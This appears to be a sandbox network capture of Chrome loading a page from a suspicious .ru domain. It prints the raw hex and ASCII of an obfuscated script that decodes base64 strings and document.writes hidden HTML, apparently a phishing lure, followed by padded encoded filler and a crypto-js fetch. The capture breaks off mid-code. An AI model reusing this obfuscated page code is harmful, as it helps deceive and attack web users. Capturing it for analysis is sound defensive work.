2025-03-19 09:46:20 UTC	657	OUT	GET /WpB8P/ HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:21 UTC	1206	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mAF8kOxMaDrWVoEeruBaSl351R1s4a%2F7AFoJZtCnRUMZXIrEvP7KjLoeSCvTw1vi6%2BwAzDNxc%2FRlu1mdqhE%2BTO2V84eng0sF2m9cgOEo%2BRA0rlHNep6eOtpGPAHP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=406&min_rtt=386&rtt_var=133&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1558&delivery_rate=8549682&cwnd=252&unsent_bytes=0&cid=d1fe389f668f1085&ts=206&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkR3QmZhREZoeXRuOXk0cHA1NFdTcWc9PSIsInZhbHVlIjoiU2lJZXczck1pbXFWemsxOWt3ZURuQjdRSllWMDEyb2EyQ3V5RTgrdFRKUUNqdEZLTzhRT21uZDhqMUV0bkQ2OGhrbDZJUSsraUpsNlpUbGE1R2VlRWxBV3BVN05IVW9obmlJSzh0TVl6QUkwUXFpdlF3YWVtazlFMk1PeEc3SzYiLCJtYWMiOiIyZWZjMjgxZTFmMDc1OTFkZjgzZTBiYjJiMjMzMmJjY2NmMGVmMWQ3OTdmZTVjNjk1NWY3ZTcwNjFmZTY1YTBjIiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 11:46:21 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 09:46:21 UTC	760	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 6b 31 64 57 46 43 57 6b 39 74 56 54 5a 4e 54 57 73 7a 54 48 6b 31 52 57 68 71 4b 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 55 56 6f 52 32 59 33 4d 48 5a 71 4d 45 55 31 64 30 63 77 52 7a 42 51 4f 48 4d 31 55 33 46 36 52 44 55 32 65 43 38 72 5a 58 46 49 4f 54 5a 31 54 30 4d 30 59 7a 4e 4d 54 46 68 79 52 55 5a 52 56 45 31 76 5a 6d 64 42 54 54 68 55 65 48 52 46 5a 45 68 42 55 31 4e 43 4b 7a 56 36 65 57 5a 74 56 30 4a 4c 59 6a 4e 77 59 57 30 78 5a 47 52 49 64 6c 5a 6b 57 6e 70 59 54 6e 6c 30 53 31 4a 4b 62 7a 56 36 54 30 6c 68 55 6d 4a 6a 55 53 74 74 4b 30 78 73 65 6a 46 52 61 57 4e 43 61 30 68 4c 52 31 68 52 55 58 42 4d 52 45 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ilk1dWFCWk9tVTZNTWszTHk1RWhqK0E9PSIsInZhbHVlIjoiSUVoR2Y3MHZqMEU1d0cwRzBQOHM1U3F6RDU2eC8rZXFIOTZ1T0M0YzNMTFhyRUZRVE1vZmdBTThUeHRFZEhBU1NCKzV6eWZtV0JLYjNwYW0xZGRIdlZkWnpYTnl0S1JKbzV6T0lhUmJjUSttK0xsejFRaWNCa0hLR1hRUXBMREk
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 73 63 72 69 70 74 3e 0a 43 58 51 4e 55 56 54 72 68 70 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 71 57 44 64 45 4c 6e 46 6b 61 6d 4e 77 62 32 77 75 63 6e 55 76 56 33 42 43 4f 46 41 76 22 29 3b 0a 46 4b 53 5a 68 78 79 74 4e 44 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 4c 4a 62 4c 4a 76 55 77 48 43 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 43 58 51 4e 55 56 54 72 68 70 20 3d 3d 20 46 4b 53 5a 68 78 79 74 4e 44 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 4c 4a 62 4c 4a 76 55 77 48 43 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 Data Ascii: 7ffa<script>CXQNUVTrhp = atob("aHR0cHM6Ly9qWDdELnFkamNwb2wucnUvV3BCOFAv");FKSZhxytND = atob("bm9tYXRjaA==");LJbLJvUwHC = atob("d3JpdGU=");if(CXQNUVTrhp == FKSZhxytND){document[LJbLJvUwHC](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1s
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk7
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: k776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776g776
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g44Wk
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 6g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk7
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: k776g776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk44
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776
2025-03-19 09:46:21 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 76g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	104.17.24.14	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:22 UTC	690	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:22 UTC	961	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"64972557-40eb" Last-Modified: Sat, 24 Jun 2023 17:18:15 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1157572 Expires: Mon, 09 Mar 2026 09:46:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=grmSOC7vFaUd7FEzUm%2FAKHjcEIUx%2FBal9Dw6UVj%2B4aNUgs6k6PGPYo8rFKqKOZtQeUrCUi6pGSQkNBrKiivLkmMHvumdxOOQeBKehX5gVcdI%2BxhsiykUsgTUamxvKm9qPQTYd2wf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 922c0ad04fa4d28d-FRA alt-svc: h3=":443"; ma=86400
2025-03-19 09:46:22 UTC	408	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 Data Ascii: eof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.c
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 Data Ascii: e.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByt
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 Data Ascii: typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e Data Ascii: r(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 Data Ascii: 0;for(r=0;r<8;r++){var 